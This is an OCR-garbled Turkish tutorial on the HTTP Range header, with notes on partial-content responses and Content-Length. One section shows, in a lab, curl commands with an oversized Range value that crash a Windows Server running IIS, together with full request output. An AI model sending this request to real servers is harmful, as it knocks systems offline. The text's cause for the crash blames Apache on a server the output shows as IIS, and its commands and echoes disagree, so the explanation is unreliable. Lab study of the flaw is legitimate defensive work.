HTTP Range Baghgi Nedir?

Normalde bir http talebi yapildiginda hedef sunucudaki dékiimanin (.html, .php, .jsp) tamami yanit
olarak doner. Bu her zaman bu sekildedir. Ancak http talebinde Range header’1 kullanimi tercih
edildiginde hedef sunucudaki dékiimanin bir parcasi talep edilebilir. Gonderilen http talebindeki
Range header’1 bazi aralik degerleri icerdigi durumda sunucu belirtilen parcay: yanit olarak
déniiyorsa status code olarak 206 (Partial Content) basarili paketini déner. Yani “Kismi Icerik”
basarili kodlu paket. Gonderilen http talebindeki Range header’1 yine bazi aralik degerleri icerdigi
durumda sunucu belirtilen aralig1 gecersiz degerde goriiyorsa status code olarak 416 (Range Not
Satisfiable) bagarisiz paketini doner. Yani “Aralik Karsilanabilir Degil” basarisiz kodlu paket. Bazen
de gonderilen http taleplerindeki Range basliini sunucular gérmezden gelir ve biitiin dékiimani 200
OK durum koduyla génderir.

Not:
Http talebinde bir Range header’1 kullanimi ile bir defada hedef sunucudaki dékiimanin
birkac parcasi talep edilebilmektedir.

Http Request Range header’1 deger olarak birim bilgisi ve aralik degerleri alir. Asagida Range
header’nin farkli kullamim sekilleri gosterilmistir:

i)
Http Request:
Range: <unit>=<range-start>- // Baglangic byte bilgisi var ve son ise belirtilmediginden
// aralik icerigin en sonuna kadar inmekte ve bu igerik
// talep edilmekte.
ii)
Http Request:
Range: <unit>=<range-start>-<range-end> // Baglangic ve son byte bilgisinin arasinda
// kalan igerik talep edilmekte.
iii)

Http Request:

Range: <unit>=<range-start>-<range-end>, <range-start>-<range-end> // Birden fazla aralik
// tammlast ile bir
// defada birden fazla
// kismi icerik
// talep edilmekte.



Http Request:

Range: <unit>=<range-start>-<range-end>, <range-start>-<range-end>, <range-start>-<range-end>
// Birden fazla aralik
// tanimlasi ile bir
// defada birden fazla
// kismi icerik
// talep edilmekte. (2)

Http Request:

Range: <unit>=-<suffix-length> // Belirtilen uzunluk bilgisi kadar icerigin en
// sonundan parga talep edilmekte.

Ornek bir kullanim;

Range: bytes:0-499, -500
A A A

birim aralik degerleri

Yani Onc1 byte’tan (karakterden) 499ncu byte’a (karaktere) kadarki kismi al ve sondan 500 byte’1
(karakteri) al.

Dolayisiyla belirtilen birim dogrultusunda decimal degerler o birime gore indis isaretlemesi
yaparlar ve aralik ile kismi igerik talep edilir.

EK:

Is yerindeki laptop’ta yiiklii acunetix tarayicisi ile yine is yerindeki bir bagka laptop’ta vm halinde
calisan dvwa web uygulamasina tarama yaparken dvwa vm’in yer aldig1 laptop’ta calistirdigim
wireshark ile acunetix’ten gelen trafigi g6zlemledigimde akan paketlerden birinin detaylarinda
Range bashgi goriinmekteydi. Asagida o ekran goriintiisiinii goriintiilemektesin:
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Http Range Basghgi ile Neden Windows Sunucu Sistemler Mavi Ekran Aliyor?

Http Range bashigina verilen baslangic¢ indis degerleri ve belirli bir bitis indis degeri ile talep
yapildiginda windows sunucularinin bazi siirtimlerinde sistemsel crash gerceklesmektedir.

Ornegin windows server 2008 R2’ye yapilan bir http talebi sonrasi sunucu belirtilen aralifin
karsilanamaz oldugu bilgisini vermekte:

Kali Linux 2018 Terminal:
> curl -v http://172.16.3.136/welcome.png -H "Range: bytes=0-18446744073709551615"
Output:

* Hostname was NOT found in DNS cache
* Trying 172.16.3.136..
* Connected to 172.16.3.136 (172.16.3.136) port 80 (#0)
> GET /welcome.png HTTP/1.1
> User-Agent: curl/7.35.0
> Host: 172.16.3.136
> Accept: */*
> Range: bytes=0-18446744073709551615
>
<HTTP/1.1 416 Requested Range Not Satisfiable
< Content-Type: image/png
< Last-Modified: Tue, 16 May 2017 16:32:37 GMT
< Accept-Ranges: bytes
< ETag: "e8893b762ced21:0"
* Server Microsoft-11S/7.5 is not blacklisted
< Server: Microsoft-11S/7.5



< X-Powered-By: ASP.NET

< Date: Tue, 16 May 2017 16:52:30 GMT

< Content-Length: 362

< Content-Range: bytes */184946

<

<IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML
4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Requested Range Not Satisfiable</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Requested Range Not Satisfiable</h2>

<hr><p>HTTP Error 416. The requested range is not satisfiable.</p>
</BODY></HTML>

* Connection #0 to host 172.16.3.136 left intact

Sonra ise yapilan http talebinin range header’indaki baglangi¢ indis degeri olarak bu sefer 18
decimal degeri girildiginde sunucu sistemsel crash vermekte:

Kali Linux 2018 Terminal:
> curl -v http://172.16.3.136/welcome.png -H "Range: bytes=13-18446744073709551615"
Output:

* Hostname was NOT found in DNS cache

* Trying 172.16.3.136...

* Connected to 172.16.3.136 (172.16.3.136) port 80 (#0)
> GET /welcome.png HTTP/1.1

> User-Agent: curl/7.35.0

> Host: 172.16.3.136

> Accept: */*

> Range: bytes=18-18446744073709551615

>

AC

Bu range degeri ile sistemin mavi ekran almasinin muhtemel nedeni su olmalidir: 0 indisinden
baslatilarak yapilan range talebinde araligin gecersiz kabul edildigi bilgisi donmekteydi. Ciinkii
sonlanma indis degeri 18446744073709551615nc1 byte (yani 16,777,210°nc1 terabyte)’ti. Bu
oldukga gecersiz bir aralik degeri durumundadir. Bu genislikte bir dokiiman olmasi pek miimkiin
olmayacag gibi bu biiyiikliikte bir dokiimani kaldiracak sistem de pek miimkiin degildir. Fakat
sistem bu aralik degerini “degerlendirmis” ki gegersizdir yamti donmiistiir. ikinci denemede
baslangi¢ indis degeri (18nci byte degeri) talep edilen dokiiman igerisinde bir yerlerdeki indis
degeri oldugundan bu sefer dokiimani agmak suretiyle aralik gecerliligi sorgusu yapilacaktir. Bu ise
dokiimanin bellekteki konumuyla beraber tagarak tiim bellek adreslerine dogru kayan bir
degerlendirme olacaktir ve bellek nihai sonuna gelindiginde sistem beklenmedik bu durum
karsisinda mavi ekran ile calismay1 durduracaktir. Normalde olmasi gereken gecersiz aralik degeri
alindiginda apache’nin uygulama kaynag iizerinde degerlendirme almayip bir kuralla gérmezden
gelmesiydi ve 200 OK yanit1 ile dokiimanin tam halini géndermesiydi. Apache’nin yeni
stirimlerinde siire¢ boyle islemektedir ve gecersiz aralik alindiginda aralik talebine karsilik aralik
gecerli / gecersiz yanit paketi degil de normal yanit paketi génderilmektedir (bkz. Paketleme I¢in
Gozden Gegirilecekler/Internetten Edinilmis Kiymetli Bilgiler/Apache Range Saldirilar ile Apache
Sunucular Servis Dis1 Birakma.docx#c. Ekstra bashigi). Yani range yokmus gibi range talebine



kargilik yanit olmayan, 200 OK yanit1 génderilmeliydi. Fakat apache degerlendirme siirecini
islettigi icin istemciye gecersizdir yanitin1 géndermek adina yaptig1 degerlendirme sistemin crash
olmasina sebep olmustur.

Http Range bashgi ile Content-Length bashg arasindaki fark nedir?

Content-Length bashgi gonderilen veya alinan paketin body’sindeki icerigin karakter sayisi bilgisini
tutar. Range bashig spesifik icerik aralik degerleri tutar ve talep paketinde kullanilarak sunucudan
dokiimanin bir parcasini sadece géndermesini saglar.

Content-Length: Nature Bound limits. // for checksum control
Range: Variable Bound limits.  // for specific part of a document

Content-Length header’1 iizerinde paket aligverisinin nizamindan ¢ikarak manipulasyon
yapildiginda gonderilen paketin tamamu yerine bir kismi gonderilebilir veya alinan paketin tamami
yerine bir kismi alinabilir. Fakat bu, Range baslig1 gibi spesifik bir dokiimandan parca secimi yerine
baslangicin hep en bas oldugu ve sonun ise degisken oldugu (kisaltilabilir oldugu) bir tek secimli
parca talep etme olacaktir. Content-Length’i manipule etme ve avantaj saglama sorusu farkl
saldirilarda g6zoniine alinabilir.

Ornegin; saldirgan sunucuya sabit bir http response Content-Length header tanimlamasi
girebilir ve sunucudan dénen her web sayfasi1 bozuk (eksik / yarim) geleceginden web
uygulama kullanicilarinin uygulamayi kullanma olanagi ellerinden alinabilir.
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